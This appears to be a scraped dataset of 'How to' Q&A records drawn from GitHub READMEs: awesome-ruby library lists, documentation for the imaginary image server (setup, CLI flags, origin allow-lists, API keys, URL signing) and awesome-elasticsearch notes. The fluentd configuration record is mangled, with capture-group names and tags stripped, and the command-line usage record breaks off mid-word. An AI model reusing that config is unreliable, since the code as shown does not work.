{"id": "gh_4a8c3829527c", "question": "How to: Template Engine", "question_body": "About markets/awesome-ruby", "answer": "* [Curly](https://github.com/zendesk/curly) - A template language that completely separates structure and logic.\n* [Haml](https://github.com/haml/haml) - HTML Abstraction Markup Language.\n* [Liquid](https://github.com/Shopify/liquid) - Safe, customer facing template language for flexible web apps.\n* [Mustache](https://github.com/mustache/mustache) - Logic-less Ruby templates.\n* [Slim](https://github.com/slim-template/slim) - A template language whose goal is reduce the syntax to the essential parts without becoming cryptic.\n* [Tilt](https://github.com/rtomayko/tilt) - Generic interface to multiple Ruby template engines.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541338"}
{"id": "gh_7dcaf6634404", "question": "How to: Third-party APIs", "question_body": "About markets/awesome-ruby", "answer": "* [Ably](https://github.com/ably/ably-ruby) - Ruby library for realtime communication over Ably.\n* [Buffer](https://github.com/bufferapp/buffer-ruby) - Buffer API Ruby Library\n* [discordrb](https://github.com/meew0/discordrb) - An implementation of the Discord API.\n* [Dropbox](https://github.com/Jesus/dropbox_api) - Ruby client for Dropbox API v2.\n* [fb_graph2](https://github.com/nov/fb_graph2) - A full-stack Facebook Graph API wrapper.\n* [flickr](https://github.com/RaVbaker/flickr) - A Ruby interface to the Flickr API.\n* [gitlab](https://github.com/NARKOZ/gitlab) - Ruby wrapper and CLI for the GitLab API.\n* [google-api-ads-ruby](https://github.com/googleads/google-api-ads-ruby) - Google Adwords Ruby client\n* [gmail](https://github.com/gmailgem/gmail) - A Rubyesque interface to Gmail, with all the tools you'll need.\n* [hipchat-rb](https://github.com/hipchat/hipchat-rb) - HipChat HTTP API Wrapper in Ruby with Capistrano hooks.\n* [instagram-ruby-gem](https://github.com/Instagram/instagram-ruby-gem) - The official gem for the Instagram REST and Search APIs.\n* [itunes_store_transporter](https://github.com/sshaw/itunes_store_transporter) - Ruby wrapper around Apple's iTMSTransporter program.\n* [linkedin](https://github.com/hexgnu/linkedin) - Provides an easy-to-use wrapper for LinkedIn's REST APIs.\n* [Notion Ruby Client](https://github.com/orbit-love/notion-ruby-client) - A Ruby wrapper for the Notion API.\n* [Octokit](http://octokit.github.io/octokit.rb) - Ruby toolkit for the GitHub API.\n* [Pusher](https://github.com/pusher/pusher-http-ruby) - Ruby server library for the Pusher API.\n* [Restforce](https://github.com/ejholmes/restforce) - A Ruby client for the Salesforce REST api.\n* [ruby-gmail](https://github.com/dcparker/ruby-gmail) - A Rubyesque interface to Gmail.\n* [ruby-trello](https://github.com/jeremytregunna/ruby-trello) - Implementation of the Trello API for Ruby.\n* [simple-slack-bot](https://github.com/kciter/simple-slack-bot) - You can easily make Slack Bot.\n* [Slack Notifier](https://github.com/stevenosloan/slack-notifier) - A simple wrapper for posting to Slack channels.\n* [Slack ruby gem](https://github.com/aki017/slack-ruby-gem) - A Ruby wrapper for the Slack API.\n* [soundcloud-ruby](https://github.com/soundcloud/soundcloud-ruby) - Official SoundCloud API Wrapper for Ruby.\n* [t](https://github.com/sferik/t) - A command-line power tool for Twitter.\n* [terjira](https://github.com/keepcosmos/terjira) - A command-line power tool for Jira.\n* [tweetstream](https://github.com/tweetstream/tweetstream) - A simple library for consuming Twitter's Streaming API.\n* [twilio-ruby](https://github.com/twilio/twilio-ruby) - A module for using the Twilio REST API and generating valid TwiML.\n* [twitter](https://github.com/sferik/twitter) - A Ruby interface to the Twitter API.\n* [whatsapp-sdk](https://github.com/ignacio-chiazzo/ruby_whatsapp_sdk) - Ruby client for the Whatsapp API.\n* [wikipedia](https://github.com/kenpratt/wikipedia-client) - Ruby client for the Wikipedia API.\n* [Yt](https://github.com/Fullscreen/yt) - An object-oriented Ruby client for YouTube API V3.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541357"}
{"id": "gh_b444d627906f", "question": "How to: View components", "question_body": "About markets/awesome-ruby", "answer": "* [Cells](https://github.com/trailblazer/cells) - View Components for Rails.\n* [Komponent](https://github.com/komposable/komponent) - An opinionated way of organizing front-end code in Rails, based on components.\n* [Phlex](https://github.com/joeldrapper/phlex) - A framework for building object-oriented views in Ruby.\n* [ViewComponent](https://github.com/github/view_component) - View components for Rails.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541363"}
{"id": "gh_a9086546b6ee", "question": "How to: View helpers", "question_body": "About markets/awesome-ruby", "answer": "* [active_link_to](https://github.com/comfy/active_link_to) - View helper to manage \"active\" state of a link.\n* [auto_html](https://github.com/dejan/auto_html) - Rails extension for transforming URLs to appropriate resource (image, link, YouTube, Vimeo video...).\n* [Bh](https://github.com/fullscreen/bh) - Bootstrap Helpers for Ruby.\n* [gon](https://github.com/gazay/gon) - If you need to send some data to your js files and you don't want to do this with long way through views and parsing - use gon.\n* [PluggableJs](https://github.com/peresleguine/pluggable_js) - Page-specific javascript for Rails applications with the ability of passing data from a controller.\n* [render_async](https://github.com/renderedtext/render_async) - Render partials to your views asynchronously and increase load performance of your pages.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541373"}
{"id": "gh_c87cbc200b71", "question": "How to: Web Crawling", "question_body": "About markets/awesome-ruby", "answer": "* [LinkThumbnailer](https://github.com/gottfrois/link_thumbnailer) - Ruby gem that generates thumbnail images and videos from a given URL. Much like popular social website with link preview.\n* [Kimurai](https://github.com/vifreefly/kimuraframework) - A modern web scraping framework written in Ruby which works out of box with Headless Chromium/Firefox, PhantomJS, or simple HTTP requests and allows to scrape and interact with JavaScript rendered websites.\n* [Mechanize](https://github.com/sparklemotion/mechanize) - Mechanize is a ruby library that makes automated web interaction easy.\n* [MetaInspector](https://github.com/jaimeiniesta/metainspector) - Ruby gem for web scraping purposes.\n* [Spidr](https://github.com/postmodern/spidr) - A versatile Ruby web spidering library that can spider a site, multiple domains, certain links or infinitely. Spidr is designed to be fast and easy to use.\n* [Upton](https://github.com/propublica/upton) - A batteries-included framework for easy web-scraping.\n* [Wombat](https://github.com/felipecsl/wombat) - Web scraper with an elegant DSL that parses structured data from web pages.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541380"}
{"id": "gh_25dd2c5dc797", "question": "How to: Web Frameworks", "question_body": "About markets/awesome-ruby", "answer": "* [Camping](https://github.com/camping/camping) - A web microframework which consistently stays at less than 4kB of code.\n* [Cuba](http://cuba.is) - A microframework for web development.\n* [Hobbit](https://github.com/patriciomacadden/hobbit) - A minimalistic microframework built on top of Rack.\n* [Hanami](http://hanamirb.org) - It aims to bring back Object Oriented Programming to web development, leveraging on a stable API, a minimal DSL, and plain objects.\n* [Hyperstack](https://hyperstack.org/) - A Complete Isomorphic Ruby Framework using React and Opal.\n* [Padrino](http://www.padrinorb.com) - A full-stack ruby framework built upon Sinatra.\n* [Pakyow](https://pakyow.com/) - A framework for building modern web-apps in Ruby. It helps you build working software faster with a development process that remains friendly to both designers and developers.\n* [Rack::App](https://github.com/rack-app/rack-app) - Bare bone minimalistic framework for building rack apps.\n* [Roda](http://roda.jeremyevans.net/) - A routing tree web framework.\n* [Ruby on Rails](http://rubyonrails.org) - A web-application framework that includes everything needed to create database-backed web applications according to the Model-View-Controller (MVC) pattern.\n* [Scorched](http://scorchedrb.com) - Light-weight, inheritable and composable web framework, inspired by Sinatra.\n* [Sinatra](http://www.sinatrarb.com) - Classy web-development dressed in a DSL.\n* [Syro](https://github.com/soveran/syro/) - Simple router for web applications.\n* [Trailblazer](https://github.com/trailblazer/trailblazer) - Trailblazer is a thin layer on top of Rails. It gently enforces encapsulation, an intuitive code structure and gives you an object-oriented architecture.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541387"}
{"id": "gh_ab8bc71b9b85", "question": "How to: Web Servers", "question_body": "About markets/awesome-ruby", "answer": "* [Agoo](https://github.com/ohler55/agoo) - A high performance HTTP server for Ruby that includes GraphQL and WebSocket support.\n* [Falcon](https://github.com/socketry/falcon) - A high-performance web server for Ruby, supporting HTTP/1, HTTP/2 and TLS.\n* [Iodine](https://github.com/boazsegev/iodine) - An non-blocking HTTP and Websocket web server optimized for Linux/BDS/macOS and Ruby MRI.\n* [Phusion Passenger](https://www.phusionpassenger.com) - Fast and robust web server and application server.\n* [Puma](https://github.com/puma/puma) - A modern, concurrent web server for Ruby.\n* [Rack](http://rack.github.io) - A common Ruby web server interface. By itself, it's just a specification and utility library, but all Ruby web servers implement this interface.\n* [Thin](https://github.com/macournoyer/thin) - Tiny, fast & funny HTTP server.\n* [TorqueBox](https://github.com/torquebox/torquebox) - A Ruby application server built on JBoss AS7 and JRuby.\n* [Unicorn](http://unicorn.bogomips.org) - Rack HTTP server for fast clients and Unix.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541392"}
{"id": "gh_47ecee47145b", "question": "How to: Supported image operations", "question_body": "About h2non/imaginary", "answer": "- Resize\n- Enlarge\n- Crop\n- SmartCrop (based on [libvips built-in algorithm](https://github.com/jcupitt/libvips/blob/master/libvips/conversion/smartcrop.c))\n- Rotate (with auto-rotate based on EXIF orientation)\n- AutoRotate with further image transformations (based on EXIF metadata orientation)\n- Flip (with auto-flip based on EXIF metadata)\n- Flop\n- Zoom\n- Thumbnail\n- Fit\n- [Pipeline](#get--post-pipeline) of multiple independent image transformations in a single HTTP request.\n- Configurable image area extraction\n- Embed/Extend image, supporting multiple modes (white, black, mirror, copy or custom background color)\n- Watermark (customizable by text)\n- Watermark image\n- Custom output color space (RGB, black/white...)\n- Format conversion (with additional quality/compression settings)\n- Info (image size, format, orientation, alpha...)\n- Reply with default or custom placeholder image in case of error.\n- Blur", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6006, "answer_score": 10, "has_code": false, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389757"}
{"id": "gh_a90bf4a14777", "question": "How to: Prerequisites", "question_body": "About h2non/imaginary", "answer": "- [libvips](https://github.com/jcupitt/libvips) 8.8+ (8.9+ recommended)\n- C compatible compiler such as gcc 4.6+ or clang 3.0+\n- Go 1.12+", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6006, "answer_score": 10, "has_code": false, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389771"}
{"id": "gh_3eea4559011d", "question": "How to: Installation", "question_body": "About h2non/imaginary", "answer": "```bash\ngo get -u github.com/h2non/imaginary\n```\n\nAlso, be sure you have the latest version of `bimg`:\n```bash\ngo get -u github.com/h2non/bimg\n```", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 6006, "answer_score": 10, "has_code": true, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389778"}
{"id": "gh_f230b8bc13b6", "question": "How to: CloudFoundry", "question_body": "About h2non/imaginary", "answer": "Assuming you have cloudfoundry account, [bluemix](https://console.ng.bluemix.net/) or [pivotal](https://console.run.pivotal.io/) and [command line utility installed](https://github.com/cloudfoundry/cli).\n\nClone this repository:\n```\ngit clone https://github.com/h2non/imaginary.git\n```\n\nPush the application\n```\ncf push -b https://github.com/yacloud-io/go-buildpack-imaginary.git imaginary-inst01 --no-start\n```\n\nDefine the library path\n```\ncf set-env imaginary-inst01 LD_LIBRARY_PATH /home/vcap/app/vendor/vips/lib\n```\n\nStart the application\n```\ncf start imaginary-inst01\n```", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6006, "answer_score": 10, "has_code": true, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389791"}
{"id": "gh_8424c3aee1de", "question": "How to: Google Cloud Run", "question_body": "About h2non/imaginary", "answer": "Click to deploy on Google Cloud Run:\n\n[![Run on Google Cloud](https://deploy.cloud.run/button.svg)](https://deploy.cloud.run)", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 6006, "answer_score": 10, "has_code": false, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389797"}
{"id": "gh_7c79af7318ee", "question": "How to: Recommended resources", "question_body": "About h2non/imaginary", "answer": "Given the multithreaded native nature of Go, in terms of CPUs, most cores means more concurrency and therefore, a better performance can be achieved.\nFrom the other hand, in terms of memory, 512MB of RAM is usually enough for small services with low concurrency (<5 requests/second).\nUp to 2GB for high-load HTTP service processing potentially large images or exposed to an eventual high concurrency.\n\nIf you need to expose `imaginary` as public HTTP server, it's highly recommended to protect the service against DDoS-like attacks.\n`imaginary` has built-in support for HTTP concurrency throttle strategy to deal with this in a more convenient way and mitigate possible issues limiting the number of concurrent requests per second and caching the awaiting requests, if necessary.", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 6006, "answer_score": 10, "has_code": false, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389804"}
{"id": "gh_3e374fc3a9ce", "question": "How to: Production notes", "question_body": "About h2non/imaginary", "answer": "In production focused environments it's highly recommended to enable the HTTP concurrency throttle strategy in your `imaginary` servers.\n\nThe recommended concurrency limit per server to guarantee a good performance is up to `20` requests per second.\n\nYou can enable it simply passing a flag to the binary:\n```\n$ imaginary -concurrency 20\n```", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6006, "answer_score": 10, "has_code": true, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389810"}
{"id": "gh_d2abe89af750", "question": "How to: Memory issues", "question_body": "About h2non/imaginary", "answer": "In case you are experiencing any persistent unreleased memory issues in your deployment, you can try passing this environment variables to `imaginary`:\n\n```\nMALLOC_ARENA_MAX=2 imaginary -p 9000 -enable-url-source\n```", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6006, "answer_score": 10, "has_code": true, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389815"}
{"id": "gh_94645db5f1a6", "question": "How to: Scalability", "question_body": "About h2non/imaginary", "answer": "If you're looking for a large scale solution for massive image processing, you should scale `imaginary` horizontally, distributing the HTTP load across a pool of imaginary servers.\n\nAssuming that you want to provide a high availability to deal efficiently with, let's say, 100 concurrent req/sec, a good approach would be using a front end balancer (e.g: HAProxy) to delegate the traffic control flow, ensure the quality of service and distribution the HTTP across a pool of servers:\n\n```\n        |==============|\n        |  Dark World  |\n        |==============|\n              ||||\n        |==============|\n        |   Balancer   |\n        |==============|\n           |       |\n          /         \\\n         /           \\\n        /             \\\n /-----------\\   /-----------\\\n | imaginary |   | imaginary | (*n)\n \\-----------/   \\-----------/\n```", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6006, "answer_score": 10, "has_code": true, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389828"}
{"id": "gh_99b52a1fcf66", "question": "How to: Performance", "question_body": "About h2non/imaginary", "answer": "libvips is probably the faster open source solution for image processing.\nHere you can see some performance test comparisons for multiple scenarios:\n\n- [libvips speed and memory usage](https://github.com/libvips/libvips/wiki/Benchmarks)\n- [bimg](https://github.com/h2non/bimg#Performance) (Go library with C bindings to libvips)", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 6006, "answer_score": 10, "has_code": false, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389835"}
{"id": "gh_39e7e034e942", "question": "How to: Conclusions", "question_body": "About h2non/imaginary", "answer": "`imaginary` can deal efficiently with up to 20 request per second running in a multicore machine,\nwhere it crops a JPEG image of 5MB and spending per each request less than 100 ms\n\nThe most expensive image operation under high concurrency scenarios (> 20 req/sec) is the image enlargement, which requires a considerable amount of math operations to scale the original image. In this kind of operation the required processing time usually grows over the time if you're stressing the server continuously. The advice here is as simple as taking care about the number of concurrent enlarge operations to avoid server performance bottlenecks.", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 6006, "answer_score": 10, "has_code": false, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389842"}
{"id": "gh_252611431cf3", "question": "How to: Command-line usage", "question_body": "About h2non/imaginary", "answer": "```\nUsage:\n  imaginary -p 80\n  imaginary -cors\n  imaginary -concurrency 10\n  imaginary -path-prefix /api/v1\n  imaginary -enable-url-source\n  imaginary -disable-endpoints form,health,crop,rotate\n  imaginary -enable-url-source -allowed-origins http://localhost,http://server.com,http://*.example.org\n  imaginary -enable-url-source -enable-auth-forwarding\n  imaginary -enable-url-source -authorization \"Basic AwDJdL2DbwrD==\"\n  imaginary -enable-placeholder\n  imaginary -enable-url-source -placeholder ./placeholder.jpg\n  imaginary -enable-url-signature -url-signature-key 4f46feebafc4b5e988f131c4ff8b5997\n  imaginary -enable-url-source -forward-headers X-Custom,X-Token\n  imaginary -h | -help\n  imaginary -v | -version\n\nOptions:\n  -a\nBind address [default: *]\n  -p\nBind port [default: 8088]\n  -h, -help                 Show help\n  -v, -version              Show version\n  -path-prefix\nUrl path prefix to listen to [default: \"/\"]\n  -cors                     Enable CORS support [default: false]\n  -gzip                     Enable gzip compression (deprecated) [default: false]\n  -disable-endpoints        Comma separated endpoints to disable. E.g: form,crop,rotate,health [default: \"\"]\n  -key\nDefine API key for authorization\n  -mount\nMount server local directory\n  -http-cache-ttl\nThe TTL in seconds. Adds caching headers to locally served files.\n  -http-read-timeout\nHTTP read timeout in seconds [default: 60]\n  -http-write-timeout\nHTTP write timeout in seconds [default: 60]\n  -enable-url-source        Enable remote HTTP URL image source processing (?url=http://..)\n  -enable-placeholder       Enable image response placeholder to be used in case of error [default: false]\n  -enable-auth-forwarding   Forwards X-Forward-Authorization or Authorization header to the image source server. -enable-url-source flag must be defined. Tip: secure your server from public access to prevent attack vectors\n  -forward-headers          Forwards custom headers to the image source server. -enable-url-source flag must be defined.\n  -enable-url-signature     Enable URL signature (URL-safe Base64-encoded HMAC digest) [default: false]\n  -url-signature-key        The URL signature key (32 characters minimum)\n  -allowed-origins\nRestrict remote image source processing to certain origins (separated by commas). Note: Origins are validated against host *AND* path.\n  -max-allowed-size\nRestrict maximum size of http image source (in bytes)\n  -max-allowed-resolution\nRestrict maximum resolution of the image [default: 18.0]\n  -certfile\nTLS certificate file path\n  -keyfile\nTLS private key file path\n  -authorization\nDefines a constant Authorization header value passed to all the image source servers. -enable-url-source flag must be defined. This overwrites authorization headers forwarding behavior via X-Forward-Authorization\n  -placeholder\nImage path to image custom placeholder to be used in case of error. Recommended minimum image size is: 1200x1200\n  -concurrency\nThrottle concurrency limit per second [default: disabled]\n  -burst\nThrottle burst max cache size [default: 100]\n  -mrelease\nOS memory release interval in seconds [default: 30]\n  -cpus\nNumber of used cpu cores.\n                            (default for current machine is 8 cores)\n  -log-level                Set log level for http-server. E.g: info,warning,error [default: info].\n                            Or can use the environment variable GOLANG_LOG=info.\n```\n\nStart the server in a custom port:\n```bash\nimaginary -p 8080\n```\n\nAlso, you can pass the port as environment variable:\n```bash\nPORT=8080 imaginary\n```\n\nEnable HTTP server throttle strategy (max 10 requests/second):\n```\nimaginary -p 8080 -concurrency 10\n```\n\nEnable remote URL image fetching (then you can do GET request passing the `url=http://server.com/image.jpg` query param):\n```\nimaginary -p 8080 -enable-url-source\n```\n\nMount local directory (then you can do GET request passing the `file=image.jpg` query param):\n```\nimaginary -p 8080 -mount ~/images\n```\n\nEnable authorization header forwarding to image origin server. `X-Forward-Authorization` or `Authorization` (by priority) header value will be forwarded as `Authorization` header to the target origin server, if one of those headers are present in the incoming HTTP request.\nSecurity tip: secure your server from public access to prevent attack vectors when enabling this option:\n```\nimaginary -p 8080 -enable-url-source -enable-auth-forwarding\n```\n\nOr alternatively you can manually define an constant Authorization header value that will be always sent when fetching images from remote image origins. If defined, `X-Forward-Authorization` or `Authorization` headers won't be forwarded, and therefore ignored, if present.\n**Note**:\n```\nimagi", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 6006, "answer_score": 10, "has_code": true, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389868"}
{"id": "gh_de7fe9356809", "question": "How to: Allowed Origins", "question_body": "About h2non/imaginary", "answer": "imaginary can be configured to block all requests for images with a src URL this is not specified in the `allowed-origins` list. Imaginary will validate that the remote url matches the hostname and path of at least one origin in allowed list. Perhaps the easiest way to show how this works is to show some examples.\n\n| `allowed-origins` setting | image url | is valid |\n| ------------------------- | --------- | -------- |\n| `-allowed-origins https://s3.amazonaws.com/some-bucket/` | `s3.amazonaws.com/some-bucket/images/image.png` | VALID |\n| `-allowed-origins https://s3.amazonaws.com/some-bucket/` | `s3.amazonaws.com/images/image.png` | NOT VALID (no matching basepath) |\n| `-allowed-origins https://s3.amazonaws.com/some-*` | `s3.amazonaws.com/some-bucket/images/image.png` | VALID |\n| `-allowed-origins https://*.amazonaws.com/some-bucket/` | `anysubdomain.amazonaws.com/some-bucket/images/image.png` | VALID |\n| `-allowed-origins https://*.amazonaws.com` | `anysubdomain.amazonaws.comimages/image.png` | VALID |\n| `-allowed-origins https://*.amazonaws.com` | `www.notaws.comimages/image.png` | NOT VALID (no matching host) |\n| `-allowed-origins https://*.amazonaws.com, foo.amazonaws.com/some-bucket/` | `bar.amazonaws.com/some-other-bucket/image.png` | VALID (matches first condition but not second) |", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6006, "answer_score": 10, "has_code": false, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389879"}
{"id": "gh_57e7f808b349", "question": "How to: Authorization", "question_body": "About h2non/imaginary", "answer": "imaginary supports a simple token-based API authorization.\nTo enable it, you should pass the `-key` flag to the binary.\n\nAPI token can be defined as HTTP header (`API-Key`) or query param (`key`).\n\nExample request with API key:\n```\nPOST /crop HTTP/1.1\nHost: localhost:8088\nAPI-Key: secret\n```", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 6006, "answer_score": 10, "has_code": true, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389884"}
{"id": "gh_0c67f91871e9", "question": "How to: URL signature", "question_body": "About h2non/imaginary", "answer": "The URL signature is provided by the `sign` request parameter.\n\nThe HMAC-SHA256 hash is created by taking the URL path (including the leading /), the request parameters (alphabetically-sorted and concatenated with & into a string). The hash is then base64url-encoded.\n\nHere an example in Go:\n```\nsignKey  := \"4f46feebafc4b5e988f131c4ff8b5997\"\nurlPath  := \"/resize\"\nurlQuery := \"file=image.jpg&height=200&type=jpeg&width=300\"\n\nh := hmac.New(sha256.New, []byte(signKey))\nh.Write([]byte(urlPath))\nh.Write([]byte(urlQuery))\nbuf := h.Sum(nil)\n\nfmt.Println(\"sign=\" + base64.RawURLEncoding.EncodeToString(buf))\n```", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6006, "answer_score": 10, "has_code": true, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389891"}
{"id": "gh_8b9bcbb8c853", "question": "How to: Fluentd log ingestion", "question_body": "About h2non/imaginary", "answer": "You can ingest Imaginary logs with fluentd using the following fluentd config :\n\n```", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 6006, "answer_score": 10, "has_code": true, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389954"}
{"id": "gh_6e481ee9ed5a", "question": "How to: use your own tag name (*.imaginary for this example)", "question_body": "About h2non/imaginary", "answer": "@type parser\n    key_name log\n    reserve_data true\n@type multi_format\n        # access logs parser\nformat regexp\n            expression /^[^ ]* [^ ]* [^ ]* \\[(?\n[^\\]]*)\\] \"(?\n\\S+)(?: +(?\n[^ ]*) +\\S*)?\" (?\n```\n[^ ]*) (?\n[^ ]*) (?\n[^ ]*)$/\n            types code:integer,size:integer,response_time:float\n            time_key time\n            time_format %d/%b/%Y %H:%M:%S\n```\n# warnings / error logs parser\nformat none\n            message_key message\n@type rewrite_tag_filter\n\n    # Logs with code field are access logs, and logs without are error logs\nkey code\n        pattern ^.+$\n        tag ${tag}.access\nkey code\n        pattern ^.+$\n        invert true\n        tag ${tag}.error\n```\n\nIn the end, access records are tagged with `*.imaginary.access`, and warning /\nerror records are tagged with `*.imaginary.error`.", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6006, "answer_score": 10, "has_code": true, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389964"}
{"id": "gh_78df1c896d4d", "question": "How to: Support this project", "question_body": "About h2non/imaginary", "answer": "[![OpenCollective](https://opencollective.com/imaginary/backers/badge.svg)](#backers)", "tags": ["h2non"], "source": "github_gists", "category": "h2non", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 6006, "answer_score": 10, "has_code": false, "url": "https://github.com/h2non/imaginary", "collected_at": "2026-01-17T13:02:38.389974"}
{"id": "gh_b4f59c764847", "question": "How to: Archival Note", "question_body": "About dzharii/awesome-elasticsearch", "answer": "I launched awesome-elasticsearch in 2016, at a time when Elasticsearch 2.x was just emerging and the AWS managed offering still lagged behind. Back then, version 1.5 was the highest available on AWS and its limitations meant I had to scour articles, blogs and documentation to piece together reliable cluster-management strategies without relying on hosted services.\n\nOver nearly ten years this repository has grown into a comprehensive collection of resources that were invaluable at the time. Many of those materials have since become outdated, community contributions have slowed, and forks and alternative solutions have appeared.\n\nRather than continue to maintain content that no longer reflects current best practices, I am closing this list and preserving it as a historical reference. Elasticsearch itself remains a vibrant, industry-leading solution for search, analytics, logging and beyond.\n\nMy deepest thanks go out to everyone who contributed—whether by submitting pull requests, sharing insights or offering feedback. Your support made this project possible and helped countless others navigate the early days of Elasticsearch.", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435440"}
{"id": "gh_ff5a04b73db3", "question": "How to: Elastic Stack", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Elasticsearch](https://www.elastic.co/) official website \n* [Logstash](https://www.elastic.co/products/logstash) is a data pipeline that helps you process logs and other event data from a variety of systems\n* [Kibana](https://www.elastic.co/products/kibana) is a data analysis tool that helps to visualize your data; [Kibana Manual docs](https://www.elastic.co/guide/en/kibana/current/discover.html)\n* [beats](https://www.elastic.co/products/beats) is the platform for building lightweight, open source data shippers for many types of data you want to enrich with Logstash, search and analyze in Elasticsearch, and visualize in Kibana.", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435456"}
{"id": "gh_b93e5c8438dc", "question": "How to: Elastic Certified Engineer", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Elastic Certified Engineer notes](https://www.pistocop.dev/posts/es_engineer_exam_notes/) - notes and exercises to prepare the certification exam", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435464"}
{"id": "gh_1a0b30462014", "question": "How to: Related (awesome) lists", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [frutik/awesome-search](https://github.com/frutik/awesome-search) I am building e-commerce search now. Below are listed some of my build blocks", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435470"}
